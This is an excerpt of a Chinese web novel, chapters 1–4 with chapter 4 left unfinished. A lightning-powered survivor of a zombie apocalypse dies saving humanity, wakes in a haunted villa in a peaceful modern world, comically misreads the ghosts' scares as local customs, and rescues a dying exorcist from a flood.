《末世大佬灵异世界再就业》 1、第一章 新世界 现代文明社会是什么样的呢? 原野坐在一座废弃的水塔顶端认真思考。 夏日的阳光炽烈,湛蓝的天空下,蓄满了雨水的积雨云凝结成一座白色的城堡。 荒废了起码有四十年的铁塔被茂盛的植被覆盖了本来的面目,一只烂掉半边脸的丧尸猴悠着茂密的藤蔓荡了过来,在原野身边蹦蹦跳跳,挑从哪里下嘴。 丧尸猴用剩下的半个脑子思考了半天后,充满挑战性地从天灵盖开始掀起,于是一声怪叫,跳了起来。 抬头望天的原野把目光从头顶的白云移向了猴子,右手打了个响指,闪电从指间飞出,保持着飞扑姿势的丧尸猴“嘎”地一下悬在了空中,接着化作飞灰,被原地超度了。 原野收回目光,继续望向头顶的白云思考。 现代文明社会究竟是什么样的呢? 原野是个丧二代,倒也不是说他家长特别丧,而是说他是丧尸潮爆发后诞生的孩子。 原野听他早死的父母说过,他们小时候的世界是没有丧尸的,电灯可以从白天亮到黑夜再亮到白天,水是从管道里自己流出来的,各种各样的食物可以随便吃到撑,不管冬天还是夏天,房间里都是舒适的20度。 小时候的原野躺在妈妈的怀里听她讲过去的故事,并对母亲编故事的能力报以敬畏之心。 太、科、幻、了! 原野二十年的人生里,还从来没见过能亮一个小时以上的灯。 不过对于原野的普通人父母来说,这些出生就自带异能的丧二代们才明明更玄幻。 丧尸潮爆发的最初,人类毫无还手之力。和电影里描述的只感染人类的病毒不一样,丧尸病毒对哺乳动物同样有效,这也就意味着随便来只丧尸老鼠,就可以让一整个小区顷刻变成丧尸窝点。病毒迅速席卷全球,人类拼死抵抗,才最终在焦土上建立起了几大幸存者基地。 人类苟且偷生,直到第一个异能者的出现,才让众人看到了希望。 随着全球大范围失守,人类引以为傲的工业文明全部瘫痪,前线作战工具从热武器一路滑坡到了刀枪剑戟,眼看就要退回石器时代,异能者的出现终于让赤手空拳的人类也有了和丧尸一战之力。 之后异能者不断涌现,并且令人惊喜的是,在这之后诞生的婴儿们,有非常大的可能,生来就带有各种异能。 这个发现立刻令全球在末日后迎来了第一次婴儿潮。 原野就诞生在这批婴儿潮中,他们这一群天赋异禀的孩子还有另外一个称呼,叫希望之星。而原野,就是所有星星里面最闪亮的一颗。 原野强得可怕。 感染丧尸病毒之后,尸体的每一个部位都会保持活性,哪怕砍掉头,也依然不能阻止丧尸继续行动。 但原野的雷电系异能是丧尸的天克。 他既是年龄最小的守卫者队员,也是最年轻的队长。自他十一岁入伍,此后九年,他在尸山血海里穿行,执行过的任务没有一例失败。 他曾带领小队抵御过浪潮一般涌向基地的丧尸,横穿过被丧尸占据的雨林救回失联的研究队伍,深入丧尸腹地带回珍贵的研究样本,是整个大陆公认的最强异能者。 现在,他在执行小队的最后一个任务。 在无数前线战士和后方人员的牺牲与努力下,人类终于在末日降临的二十年后,于废土和丧尸的夹缝间,研发出了可以催化丧尸病毒衰亡的药剂。 人类对丧尸的大反攻正式开始。 破釜沉舟的“启明星”计划启动。全球范围内所有守卫者统一出动,分成若个片区,地毯式安置药剂释放装置,并在同一时间释放药剂,彻底摧毁丧尸。 原野作为最强异能者和他的精锐队员们接到的任务,除了药剂安置外,还要去击杀整个丧尸王国的首领,避免已经演化出智慧的首领调集它的丧尸军团摧毁药剂。 任务进行得还算顺利,在超剂量药剂的配合下,大家缺胳膊断腿地杀掉了丧尸王,唯一的问题是丧尸首领在濒死前的自爆冲击波摧毁了约八万平方公里的电子设备。 换句话说,接近一个大型城市的药剂释放装置全部失效,而他们完全无法与总部取得联系。 丧尸体内的病毒演化迅速,如果一个市大小的区域的丧尸没有被清理,并且成为丧尸们的安全区,完全可以想见,附近所有幸存丧尸都会逃向这里,超量丧尸聚集,几天之内就会诞生出抗体,且迅速使整个尸群获得抗药性。 然而人类已经没有余力再研发新的药剂了。 好在原野小队长有自己的想法。 丧尸王可以自爆,他也可以。 利用雷电系异能自爆产生的恐怖电能轰击云层致使降雨,再利用雨水导电,大范围开启药剂释放装置。 至于降雨顾及不到的区域,就需要他的队员们人工去启动了。范围应该不大,他的兄弟姐妹们虽然缺胳膊少腿,应该还是能赶上的。 这也是他爬上这个摇摇欲坠的铁搭的原因。 好歹离云层近一点是一点。 话又说回来了,现代文明社会到底是什么样的呢? 倒计时最后几秒,原野又开始望云,并试图把云朵想象成传说中的爆米花。 没想出来。 真得很想见一见,妈妈说的有二十四小时的水电和取之不尽用之不竭的食物的时代。 多美好的世界啊。 原野收回目光,右手覆上胸口,一道爆闪从他身体中飞出,直冲云霄。 天与地在瞬间被耀眼的白光相连,光芒淹没了原野,云上雷声鸣动,原野的身体在电光下一寸寸化作飞灰。 雨水落下,温柔地拍打着茂盛的叶片,潮湿的地面跳跃着微弱的电光,以原野为中心,四周的药剂释放装置如多米诺骨牌一般次第打开,烟雾喷出,丧尸哀鸣声不绝。 水塔上,焦黑的残躯向后倒去,自空中坠落。 美好的世界,以后的人们就可以看见了。 原野在电光中闭上眼睛,在落雨里灰飞烟灭。 原野睁开了眼睛。 我是谁?我在哪儿?我要干什么? 原野仰躺在地板上,傍晚的光线顺着缝隙漏进屋内,映出低矮的天花板,这陌生的环境一时间令他充满了迷茫。 爆炸、落雨、超级疼……剩下的忘了。 原野木木地回忆着,异能的过量使用让他浑身剧痛不已,只能仰躺在地,抽了抽鼻子。 一股血腥味和尸体的臭味隐隐约约地传来。 这里被丧尸袭击过? 原野警惕起来,然而他连根手指头都动不了,现在随便来个丧尸都能单杀地表最强异能者。 那没办法了…… 原野继续躺着。 如果丧尸再来……吃我的时候我会骂骂咧咧的…… 听说这样肉会变得难吃…… 原野两眼放空,一边构思脏话草稿,一边因为疲惫昏了过去。 凌晨十二点,原野再度醒来,并惊讶于自己还没有被吃掉。 药剂起作用了?丧尸都被消除了? 一阵狂喜袭来,令原野的胸膛剧烈起伏了两下,然后又昏过去了。 大病初愈切忌大悲大喜啊。 就在他昏过去之后,一阵阵阴沉的雾气骤然腾起,在房间内翻滚。 “杀死他。” “他怎么出现的?” “杀死他。” “他不应在这里。” “杀死他。” 阴郁的稠黑色浓雾在暗地里涌动、虬结,最后从低矮的天花板,阴冷的水泥地和潮湿的墙壁间,缓缓浮现出了数十张面目模糊的人脸,翻滚扭动,窃窃私语。 片刻后,这些非人的面孔似乎终于达成了共识,烂泥一般融合成一只阴气森森的鬼手,向原野的脖子袭去。 然后被电了。 察觉到了危险,原野的身体本能地使用了雷电异能保护自己,流淌着阴气的巨手瞬间被雷电洞穿,尖锐的惨叫声在房间内高亢响起,那些鬼影如同受到惊吓的鼠群般四下散去。 原野本人也被自己的电流电地抖了几下,猛呼出一口气,再度醒了过来。 这个故事告诉我们,学会使用aed可以救命(不是)。 原野躺在地上喘了半天,多年在末世生存的本能让他隐约感到一丝危险,然而仔细看去,这间群鬼涌动的房间在他眼里又空无一物。 从小没听过鬼故事的原野当然对闹鬼这件事毫无概念。毕竟丧尸时代,在人们锤爆自己亲爹亲妈的天灵盖的时候,还是不太希望对方的在天之灵真的在看着自己。于是在世界末日,鬼魂的概念比现代工业更先一步消失了。 没有见识的原野只能判断出这不是闹丧尸了,然后扶着墙边踉踉跄跄起身,检查起自己所在的房间。 此时屋内已经一丝光亮也没有了,但好在异能者多少都有点夜视能力,原野努努力,勉强还能看清自己现在在一间地下室内。 在他上方,被他劈碎的恶鬼们也七零八碎地聚集了回来,讨论怎么弄死新来的。 “他身上应该有护身符保佑他。” “肯定有,电得我好疼。” “那怎么办?” “把他关在地下室里,困死他。” 一阵阴风吹过,原野突然听到“咔哒”一声响,门似乎从外面被锁上了。 “被风吹的吗?”原野自言自语道,扶着墙一路溜边,沿着楼梯上行,找到了出口的位置,试着推了推,果然打不开。 原野很有礼貌地敲了敲门:“有人吗?能帮我开一下门吗?” 跟在他身后的群鬼幸灾乐祸地笑成了一团。 “这里只有鬼。” “嘻嘻,护身符可不能帮你把门锁敲开。” “饿死在这里吧。” “叫破喉咙也没有活人会来的。” 原野所在的别墅远在郊区不说,还是本市远近闻名的凶宅,十天半个月里都不会有人来。这座宅子历任主人里,被恶鬼困死在地下室的就有四个。 原野方才闻到的血腥味,就是那些被困在地下室的人,用手扣换气扇,直到手指指甲全都倒翻脱落,用身体撞击木门,一直到头骨、胳膊、肋骨断裂,最后绝望死去时,一遍遍用没了指甲的手指在墙上,在地板上徒劳地抓挠,直到磨尽血肉,露出骨头时,一点一点,积累的血。 现在,四个惨死的厉鬼混在群鬼中,等待着原野绝望地哭嚎。 地下室的楼梯设计得十分险恶,门后就是几乎成九十度的陡峭楼梯,踹门时连借力的地方都没有,甚至于撞门时还可能因为反作用力直接从楼梯上滚下去。 厉鬼们窃窃私语,兴致勃勃地讨论着这个有着厉害护身符的人该如何惨死。 原野彬彬有礼地收回了敲门的手,站定在门前。 “嘘,你看他要撞门了。” “看他那副虚弱的样子,肯定会摔下去。” “我猜他的腿骨一定会从大腿穿出来!” “我希望他摔下去伤到内脏,能痛苦好几天,嘻嘻。” 一时间原野会从楼梯摔下去的呼声达到最后。 下一刻,柔弱的原野两手一左一右撑在门框上,身体腾起,以两臂为轴心,整个人向后荡去,接着骤然向前发力,在空中划出一道弧线,一脚踹在门上。 寂静的别墅内发出一声巨响,木门在群鬼的注视下轰然飞出,重重摔在了地上。 恶鬼们:“啊?”魔/蝎/小/说/m/o/x/i/e/x/s/.c/o/m 2、第二章 新食物 原野彪悍的行为给别墅里的一众恶鬼带来了极大的惊吓。 “他身上有护身符,又那么厉害,怎么办啊?” “没事,他看不到我们。” “可是我讨厌活人。” “我也讨厌。” “把他吓走吧。” “好主意,去吓走他。” “吓走他。” “吓走他。” 众鬼达成一致,飘飘荡荡地散向各处,只剩下一个小鬼飘在天花板上,默默监视原野的动向。 原野在找吃的。 末世生存,最重要的就是收集物资,特别是原野现在身体虚弱,急需补充营养。 但说实话,原野对于找到什么也是不报希望的。末世二十年,各种物资被幸存者和守卫者小队反反复复搜刮了个干净。原野觉得自己运气要是特别好,说不定能找到一些长进房间里的植物结的果实。 但是原野找到了一个冰箱。 房间里没有开灯,漆黑的屋内,原野神色凝重地审视着面前的长方形物体,隐隐觉得,这是个了不得的东西。 当然,原野执行任务时也见到过一些被被拆得七零八落的冰箱的。可眼前这个不一样,它非常得完整,还发出了一种仿佛电路工作中的嗡鸣,看起来十分可疑。 事实上原野自觉醒来这间的房子,处处都透露着诡异。 房子保存得很完好,一点都不像被丧尸袭击过,或者空置了二十年的样子。这里的各项日用品十分齐全,且几乎没有落灰。根据原野的经验,这间房子至少在一周前还有人曾使用过。 在一个末世二十年的世界里,这简直比闹丧尸还让人觉得可怕。 原野眼前仿佛出现了一只主动脱离风餐露宿的野外生活的丧尸,走进了别墅内,过起了智慧丧尸的生活。 它甚至还会打扫卫生! 这绝对是幸存者的一大灾难。 原野想到这里差点又厥过去。 好在队长他见多识广,挺住了,并深吸了一口气,左手指间电光闪烁,右手抄起厨房的菜刀,果断拨开了冰箱门。 冰箱门开,可爱小熊款式的过期蛋糕直勾勾地看着原野,从头顶开始慢慢消融,逐渐残缺的眼睛里缓缓流下两行血泪。 此情此景,原野登时虎躯一震,愣住了。 “吓到他了!”群鬼一阵欢呼。 原野则不敢置信地看着眼前冰箱内部白色光线、微微的冷气、以及里面放了一周的西瓜和蓝莓,如在梦中。 智慧丧尸或许可以过起居家生活,但显然发电还是智慧得太超过了。 我一定是穿越了。 原野恍恍惚惚地想到。 虽然末世没有鬼故事,但是末世有穿越故事。 绝望的人类早就受够了这个丧尸横行的破世界,无数写在旧纸盒、破被单甚至是基地墙上的穿越小说应运而生。 原野最喜欢的一篇穿越文就写在基地进口处的隔离间的墙上,这里用来排查回来的人有没有被丧尸咬伤,原野每次执行任务回来在那里等候的时候都会去看有没有更新。 可惜后来作者被丧尸咬死,太监了。 虽然之后也有其他人接着在墙面续写,但原野还是喜欢最初的版本,毕竟原作者会写异世界是一个取消限制,一天随便用电八个小时的,超级敢写的人。 而现在,一个寂静的深夜,一个所有人都该睡觉,全区域停电的时刻,这个偏僻的屋子里,竟然有一个通电的,冒出冷气的神奇电器。 这绝对就是穿越啊! 原野都不用思考是不是自己在做梦。 因为他梦不出这么有想象力的电器。 这就是穿越啊! 原野激动得眼泪都要飙出来了。 天花板上的群鬼也很激动。 “他都吓哭了!” 恶鬼们弹冠相庆,一扭头却发现在血泪蛋糕死不瞑目的注视下,原野正在虔诚地吃蓝莓。 你好歹洗一下啊! 不对!你好歹看看旁边的蛋糕啊! 天花板上的恶鬼们都呆住了。 原野其实也注意到了旁边的流血小蛋糕了。但是他没见过这东西,一眼扫过去,只能确定不是尸块,便先放在一边没再管了。 等他吃完蓝莓,本想研究一下这个融化成一滩的血淋淋的不明物体,但转念一想,他现在都不知道自己在哪里,还是先检查一遍周围才是上策。 想到这里,原野含泪挥别宝藏冰箱,手拎菜刀,熟练地贴墙溜边,抹黑先往窗边去了。 今天是个满月天,月光洒下,照出窗外巍峨山影,以及远处森森树影。 是在郊区。 原野沿着一楼房间的窗户巡视了一遍,眼见屋外四周全是草木山石,一点人迹也没有,不免对这个新世界有了更新一层的认识。 一是,敢在荒无人烟的郊区居住,说明这里治安很好,不怕从天而降的暴徒或者暴丧尸破门而入。 二是,这么荒的地方都有电,这日子过得也太好了吧,这就是天堂般的世界啊! 原野忍不住又要热泪盈眶了。 检查完四周,原野向二楼进发。 二楼是休息区,分布了四间卧室,门虽然上了锁,都被原野一一撬开钻进去看了一眼,发现四个房间竟然都有露台,顿时大感不妙,想立刻沿露台拉一圈铁丝网。 清醒一点,我现在穿越了,这里可没有丧尸。 原野想到这里心中泛起一阵止不住的愉悦,挑了最大的一间卧室进屋查看。 说时迟,那时快,跟了他一路的群鬼抓紧时机,在他进屋的刹那,“砰”一声把卧室门关……没关住。 原野从刚才就感觉颈后阴风阵阵,恶鬼们动作时,他心有所感,一个回身探手,抵住了要关上的门。 “这里的风这么奇特吗?” 原野对新世界充满了好奇,拿了把椅子,把门抵住了。 没开灯的房间里一片黑暗,窗户大开着,落进些许月光,深夜的风吹动窗帘,发出轻微的沙沙声。 原野环视四周,确认屋内无人后,先快步上前,俯身检查床底。 床底下自然没有躲起来的丧尸老鼠打算给他一口,但在他的身后的墙上,巨大的结婚照上的人脸在月光下逐渐畸变,扭曲成似人非人的可怖模样,居高临下地注视着原野,发出了似乎从喉咙里挤出来一样的滞涩的笑声。 原野被笑声吓了一跳,手中菜刀闪着电光,流星般飞出,一刀钉在了人脸正中间。 附身在相片上的恶鬼被电伤,发出无声的惨叫,围在天花板上的群鬼却突然来了精神,抛下原野,一拥而上,将两个受伤的厉鬼瞬间分食了。 原野自然对此一无所知,他刚才受惊之下使用了异能,此时心跳得厉害,见自己砍到的只是张照片,而不是个大丧尸后松了口气,捡了床头柜上的前主人留下的褪黑素口服液喝了一瓶。 好喝! 奇特的饮品瞬间俘获了原野,这不知道是什么的饮料令他整个人都开心地满头冒花,于是他一口气把床头柜上剩下的两瓶也喝了。 糖分的摄入安抚了原野虚弱的身体,褪黑素则直击他疲惫的神经,一股困意席卷而来,原野打了个哈欠,强撑着将四个卧室都巡视了一遍,确认不会冷不丁蹦出个丧尸后,再支撑不住,顺势倒在了客房的床上。 好舒服。 原野在加厚乳胶床垫上发出惬意地长叹,从来没有过的松软让他整个人无比地放松,几乎在瞬间就昏睡了过去。 在原野睡着后,游荡在四周的鬼魂们又聚集了过来,按理说它们此时就该想办法入梦吓他了,但群鬼怕被电,也怕受伤后被别的鬼吃了,推推搡搡间竟无一鬼敢上前,这一夜也就如此过去了。 身体透支和超量服用保健品让原野一直睡到了第二天下午才醒。 他晕晕乎乎地坐在松软的床垫上,终于意识到昨天吃错东西了。 否则他不会在一个陌生的地方一口气睡这么长时间。 蓝莓他在野外采集吃过,那就只能是昨天喝的小甜饮料的问题了。 原野理了一下睡得卷起来的乱发,目光落在垃圾桶里的三个小饮料瓶上,辨认出了“助眠”的字迹,再次感叹异世界深不可测,还有许多自己需要学习的地方。 毕竟在末世人是不能睡死过去的,会死。 也几乎不会失眠,毕竟末世生产力低下,光活着就已经是很疲惫的事情了。 这个世界真好~ 原野再次由衷地感叹,然后下楼,去神奇的冰箱里寻找食物。 有了饮料的前车之鉴,原野对异世界生出了许多敬畏之心,于是他再次略过了陌生的血泪小蛋糕,选择了自己熟悉的西瓜。 西瓜没有切开,应该是原主人想在冰箱里冰一下再吃,却不知遇到了什么事,这家人突然消失了。 原野昨天搜索时已经确定这里住了一对男性情侣和一个约莫在十岁左右的男孩儿,只是哪怕在末世,这个年纪的小孩儿也是要去上学的,住在这么偏僻的地方,小孩儿怎么去学校? 难道是有车吗? 原野盘腿坐在食物的应许之箱前,抱着滚圆的西瓜,想着等他吃完就去检查一下这家有没有用车的习惯。 也不知道这里的车和末日一不一样? 这个世界和末世的生活规则实在相差太大,原野不敢冒进,只打算以这个确定没人住的房子为据点,一点点探索和适应这个崭新的幸福世界。 首先,从一个完整的西瓜开始。 长到二十岁没吃过整个西瓜的原野虔诚地摸了摸油绿的西瓜皮,一个手刀利落劈下,瓜皮裂开,人头从西瓜里滚落,血溅了他一身。 原野一个激灵,条件反射般将怀里的西瓜抖了出去,一秒钟后又反应了过来自己扔了什么,惨叫一声,身姿矫健地探手一捞,将血淋淋的人头西瓜又捞回了怀里。 太好了,没有浪费宝贵的食物。 原野长舒一口气,这才仔细端详起怀里的血腥西瓜。 最近没有新的尸体,鬼魂们没办法无中生有的在西瓜里变出一个脑袋来,于是退而求其次,用法术把西瓜瓤变成了人头的样子,反正颜色是一样的。 原野面色凝重地和西瓜人头对视。 虽然他没有吃过完整的西瓜,但根据他过去二十年吃过的切角西瓜经验,也知道在切开之前,西瓜长成这样多少有些冒昧了。 原野在思考。 难道说…… 原野有了结论。 这个世界的人们因为没有丧尸的威胁,活得太过安逸,所以通过培育这种品种的水果寻求刺激? 原野想到这里,打开冰箱的门,看了一眼里面的死不瞑目熊蛋糕,觉得自己猜对了。 真是奇怪的世界。 原野略有些嫌弃,但仍然虔诚地徒手掰碎了人头西瓜,捡起一块天灵盖,送进嘴里咀嚼。 好吃! 原野眼睛亮亮地抱着人头啃了起来。 在他头顶的天花板上,群鬼环伺,鬼默鬼泪。 许久后终于有鬼幽幽地说道:“这个人……是个变态吧。”魔/蝎/小/说/m/o/x/i/e/x/s/.c/o/m 3、第三章 新的人 原野吃西瓜的时候,窗外下起了大雨。 如果原野今天早一点醒来的时候,就会在电视、电脑和收音机里收到铺天盖地的降雨橙色预警以及本次强降水天气可能诱发山洪、泥石流等地质灾害的提示。 但是他起晚了,所以他选择不浪费珍贵的水资源,用外面的大雨洗一下沾了西瓜汁水的手。 也不知道这个世界限不限制水的使用? 原野把两只手端在胸前,用手肘顶开大门,刚要把手伸出去,就被瓢泼大雨浇了一头一脸。 于是原野顺便把澡也一起洗了。 也幸亏他是穿越在了荒郊鬼宅里,但凡他穿在有第二个人在的地方,原野应该已经被抓走了。 好在这里只有鬼,没有人。 至于鬼……已经不想评价他了。 雨势越来越大,原野开始洗衣服。 只是洗着洗着,他发现从山上冲来的水颜色越来越深了,到后来甚至已经变成了深黑色。 这可不太妙。 原野立在原地,透过倾盆大雨落下时的轰鸣声,听到了远处不时传来的石块崩落的声音,心里有了判断。 他迅速穿上湿衣服,随手将门一关,向远处的高地狂奔而去。 就在他爬上别墅旁边的一段小山丘时,一道洪水轰然而至,卷着上游的碎石土块和树枝迅速漫过了别墅门前的河道,淹到了别墅的台阶上,并以肉眼可见的速度极速上涨。 原野看着洪水呼出一口气,下意识搜索了一下附近的食物,摘了两个浆果送进嘴里嚼着,躲在一颗树下观察水势。 水流还很急,但水位上涨的速度慢了下来,原野确认应该不会淹到神奇冰箱后就放下心来,安心地守在树下等洪水退去。 就在这时,原野敏锐地察觉到从山上冲下来的洪水中似乎卷了一个人。这不是用眼睛看到或是耳朵听到的,而是一种守卫者小队长年累月的搜救工作形成的近乎于本能般的直觉。 原野也十分相信自己的直觉。 他的目光飞快的向自己感应到的位置搜寻,只见涛涛浪涌中,卷着一个一人长、半米高的黑色木盒正飞速向下游冲去。 就是他了。 原野深吸一口气,向着河道位置奔去。 别墅三面环山,一面临水,端的是风水宝地。原野沿着山脉几个纵跃,跑至山丘尽头,猛地一蹬崖边树干,借力飞跃,在空中滑过一条漂亮的弧线,正好落在了被洪水裹着冲下的黑棺上。 原野单膝跪地蹲在棺盖上,提拳蓄力,一拳猛地砸出,五寸厚的檀木棺板在他拳下粉碎,棺材里已浸满了水,水面随着洪水冲撞荡开,露出了棺材里一个身材高大、脸色惨白的男人。 果然有人! 原野片刻不敢停歇,瞬息间几拳下去将棺材板彻底砸了个粉碎,探手捞出里面已经昏死过去的人,单手打横抱在怀里,一脚踩在棺材上,飞身一跃,半空中探手抓住一颗斜长到水面上的树枝,合身荡出,抱着男人飞至岸边,就地翻滚,卸去大部分力量,摔在了山石上。 就在他身后,实木的棺材被洪水卷向山边,撞了个粉碎。 山上,两人身上全是雨水和泥污。原野顾不上自己,翻身从地上爬起,带着男人躲在一颗茂盛的松树下,快速拭去男人口鼻处的脏污,又将他放置在自己大腿上,迫使呼吸道里的水倒出。 男人已经没了呼吸,原野不敢耽误,将他平放在地上,撕开上衣,做起了心肺复苏。 你可千万在这一步就醒过来啊! 原野一边贴着男人的嘴唇吹气,一边心里没底地乱想。 因为原野的雷电异能,他在末世时偶尔会被叫去当人形体外除颤仪,但是那时候他都是在有治疗异能的医师指挥下无脑放电。现在让他自己电别人,原野生怕自己掌握不好时机,直接把男人送走。 好在男人足够省心,原野交替做了几组人工呼吸和胸外按压后胸口便有了起伏,恢复了呼吸。 原野不禁长出一口气。 谢天谢地,不用电人了。 但下一个问题是怎么把男人送医。 现在山洪肆虐,就算有车都开不出去。原野昨天检查房子时就发现附近十分荒凉,自己背着男人出去找医院,能不能找到是另一回事,男人肯定先会因为失温出事的。 想到这里,原野只能寄希望于带男人返回别墅了。 别墅受灾情况并不严重,原野方才从屋子里逃出来主要的原因是他不了解房间的情况,怕房间被冲垮或是漏电自己逃跑费劲,但现在至少从外观来看房子没什么问题。 原野思考了一下,气沉丹田,把昏迷中的男人放到了一颗结实的老树的树枝上卡好,免得再来一道水把他冲走,接着自己先涉水返回了别墅。 因为雷电异能的关系,原野本人的耐电程度和对电流敏感度都要比普通人强,他自己先淌了水在别墅外围一点点靠近试探,确定自己没有被电后才返回了房间内,按昨天搜索别墅时的记忆找到电闸断开,返回山丘接了男人回别墅。 一楼的水已经没过了脚踝,原野直接抱着男人上了二楼他昨天睡过的客房,除了身上的湿衣服,塞进被子里保暖。他自己则去翻房间里的笔记本和书报,寄希望于上面有印这个世界的医院电话。 不过其实他不这么做也行,因为二楼的男人已经自己醒了过来。 准确的说,这个叫师酌光在进入到这间阴气盎然的凶宅的瞬间便有了一些意识。毕竟他体质特殊,这种猛鬼乱炖的豪宅对他大有益处。 但是师酌光的记忆还停留在王璇玑命人将他封入棺材中的情景。 此时骤然重见天日,浑身又剧痛无比,他只以为是王璇玑想到新的虐杀他的办法,干脆闭眼不去管他。直到昏昏沉沉地被塞到被子里保暖,师酌光才恍恍惚惚地意识到,自己似乎是……被救了? 但是王璇玑处把守森严,师酌光想不出谁能把自己救出来,还把自己安置在了一间满是恶鬼的凶宅。诸多疑问涌上心头,恰在此时外面传来轻健的步伐,师酌光干脆闭眼装晕,不去与人周旋。 原野翻遍楼上楼下没有找到一个联系方式,确认了一下冰箱的安全后,拆了铁衣架窝了个线圈,自己供了点电上去,做了个自制电磁炉烧了些热水,一半灌在矿泉水瓶里,一半给病号冲了点糖盐水,端进了客房。 “你醒了?”一进门,原野便感觉到男人的气场发生了变化,欣喜道。 演技很差的师酌光:……………… “太好了,我不知道去医院的路,幸亏你醒了,不然就麻烦了。”原野兴冲冲地走了进来,不由分说把裹了毛巾的热矿泉水瓶塞到男人怀里,道:“你不知道在洪水里泡了多久,体温太低了,先用这个暖和一下。” “我还冲了糖盐水,你现在能吃东西吗?我扶你起来喝一点怎么样?”原野拿不准这个世界的人的体质怎么样。在末世有异能的人及其抗揍,只要还能喘气,趴在地上吃两口草都能活下来。但没有异能的人体质就弱得多,原野小时候所在的幸存者基地沦陷,活下来的大人在转移的路上就死了很多。 所以此时他看着这个新世界原住民充满了焦虑,担心好好躺在床上的他嘎嘣一下就死掉了。 “是你救了我吗?”师酌光被这热情照耀得几乎有点睁不开眼。 “对,发洪水了,把你冲到了这间房子附近。”原野见他回话,觉得这人离死又远了一步,更开心了:“需要我把你扶起来喝点水吗?” “不……”师酌光立刻拒绝,片刻后略有些尴尬地说道:“能先帮我找一身衣服吗?” “衣服……哦,对了……”这么一说,原野才想起来自己把他的湿衣服都脱下来这件事了:“你稍等,我去给你找。” 原野说完,把糖盐水放在了床头柜,去主卧找衣服。 对于男人要衣服这件事,原野很开心。 末世资源匮乏,在生存面前,衣服就不是那么重要了,反正一杯糖水放在原野眼前,他是不会管自己穿的什么的。 这个原住民对衣服这么重视,是因为这里物资充足,大家才有闲心关注这些细枝末节的事。 更重要的是,这个人和这座宅子没关系,说明这里物资丰富不是特例,而是大家都这样。 想到这里原野心情好得不得了,如果他有一条尾巴的话,现在已经高兴到可以把尾巴摇成螺旋桨原地起飞了。 所以当他打开这家夫夫的衣柜,看到从柜顶上长出来,垂到悬挂着的衣服上的,海藻一样细密蜷曲的头发时,心里充满了对这审美奇特的一家人的亲切的包容和由衷的赞美。 看看这别致的衣柜装饰,只有生活富裕安逸的人才有这样的爱好呀。 原野欣慰地把头发分成两股,系了个蝴蝶结,满意地拍了拍饱满地蝴蝶结,才估摸着男人的身量,找了两件衣服拿去给男人穿了。魔/蝎/小/说/m/o/x/i/e/x/s/.c/o/m 4、第四章 新烹饪 原野沉浸式打蝴蝶结的时候,师酌光在观察四周的环境。 阴气很重,重到像是沉入了沼泽。地板、墙面、天花板上到处都是鬼留下的痕迹,怨气、不甘、愤怒、仇恨全都在房间里交织,陈年的和新鲜的血腥味弥散在房间的每一个角落。 原野眼中的可爱小屋换到师酌光眼里,俨然是一口封装活人的棺材,住在这里的人,十个里有九个得暴死屋中。 我到底是被带到了哪里? 师家世代居住在景梁市,师酌光六岁开始驱鬼,景梁市里里外外没有他没去过的地方,绝没有这样一座凶宅。 想到这里,师酌光裹着被子坐起来,向着窗外看了一眼,果然入目全是森森山影,他还想再看,却抑制不住地咳嗽了起来,逼得他倒回了床上。 也召唤出了原野。 听到咳嗽声的原野飞一样冲进了房间里,看到痛苦蜷缩的师酌光,惊慌失措:“你怎么样?你还好吗?我送你去医院?” 在末世执行任务最害怕的就是咳嗽了,万一埋伏时把丧尸引来,麻烦就大了。故而原野听到这声音便头皮一炸,紧张到不行。 但他没有医疗异能,他只能电人。 这让他更急了。 “没事……”师酌光倒在床上缓了半天,才终于痛苦地呼出一口气,有气无力道:“可以帮忙把水递给我吗?” 急得团团转的原野闻言立刻上前,刚准备扶着师酌光的肩膀带着他坐起来,转念想起了异世界人的讲究,改成隔着薄被将他扶起,自己坐在师酌光身后,让他靠着自己,端起了桌上的糖盐水喂到了师酌光的唇边。 师酌光:……………… 这动作实在太亲密了,令师酌光十分不适,但他也能感觉到原野并没有其他想法,便只能在这种异样的亲密下,将水喝了进去。 “你还好吗?”原野忧心忡忡:“我想带你去找医生。” “谢谢你,我没什么大事,躺一躺就会好了。”师酌光三天没有进食,糖盐水的补充让他苍白如纸一般的脸色好了些许:“鄙姓师,名酌光,还不知道您如何称呼?” 原野这才想到他们俩还没有互换过姓名。 不过这也不怪他,末世的萍水相逢大概率跟着一屁股丧尸,逃命要紧,所以原野他们这代人养成的习惯都是在安全的时候才会做这些细枝末节的事情。 但是这里任何时候都很安全。 原野想到这里又快乐了。 师酌光敏锐地察觉到了原野的情绪。他当然想不到原野的低成本快乐,看看身处的奢华鬼屋,再想想原野知道自己名字后的快乐,只能联想到他知道自己是驱鬼师,可以给房子驱鬼才如此开心。 师酌光理所当然地想到。 不过这里面有一个问题。 他虽然出生在驱鬼世家,但他天生没有继承灵力,想要驱鬼,需得燃烧自己的生命。师酌光从六岁开始驱鬼,到今年共二十一年,身体已到了强弩之末,此时给这样一座凶之又凶的鬼宅驱鬼,恐怕还没有驱灭所有的恶鬼,他自己就会先一步力竭而亡。 如果给他一些修养的时间…… 师酌光无意识地望向窗外。 暴雨还没有停,乌云密布,天色黑沉沉的,看不出时间,也看不到月亮。 但是师酌光记得自己被关进棺材前,天外是一轮满月。 等到再一轮满月升起的时候,他应该就可以和凶宅里的所有鬼同归于尽了。 师酌光心平气和地准备和原野沟通驱鬼的deadline。 原野心浮气躁地在想吃点啥。 “晚上吃什么?”原野问。 “啊?”师酌光充满了问号。 作为一个二十年人生里有十多年在基地外执行任务的野生人类,原野能感觉到师酌光此时的虚弱,除了溺水外,还好几天没有吃过饭了,那既然现在不能就医,吃点东西补充营养总是没错的。 况且原野也在想念楼下的神奇小冰箱。 “什么都行。”师酌光并没有什么想吃的东西,他见原野没有想聊驱鬼的意思,也没有执着的说下去。 “那我先去看看有什么吧……”缺乏土著指导的末世人类原野只能十分不自信地说道:“先说好,我不会做饭。” 末世烹饪是一件既浪费能量,又浪费资源的奢侈的事情,原野他们那一代已经全面实行了营养液配给制,每个人定期都会收到政府发放的配置好的营养粉剂,吃饭的时候用任何液体冲泡即可食用,营养丰富,省时节能。 对于这样令人信赖的产品,原野上辈子视若珍宝。 这辈子再吃他是狗。 他现在有冰箱了! 但原野不会做饭。 他面色凝重地看着神奇冰箱里未曾触及过的神秘领域——冷冻层里的冻肉,发现不了解烹饪技法就算了,他连是什么肉都不认识。 丧尸病毒会感染哺乳动物,原野他们出任务的时候只敢捕猎禽类,基地倒是会养殖猪牛羊这些哺乳动物,不出任务的时候原野也会被叫去电猪,主打一个末世特色人道主义安乐死。 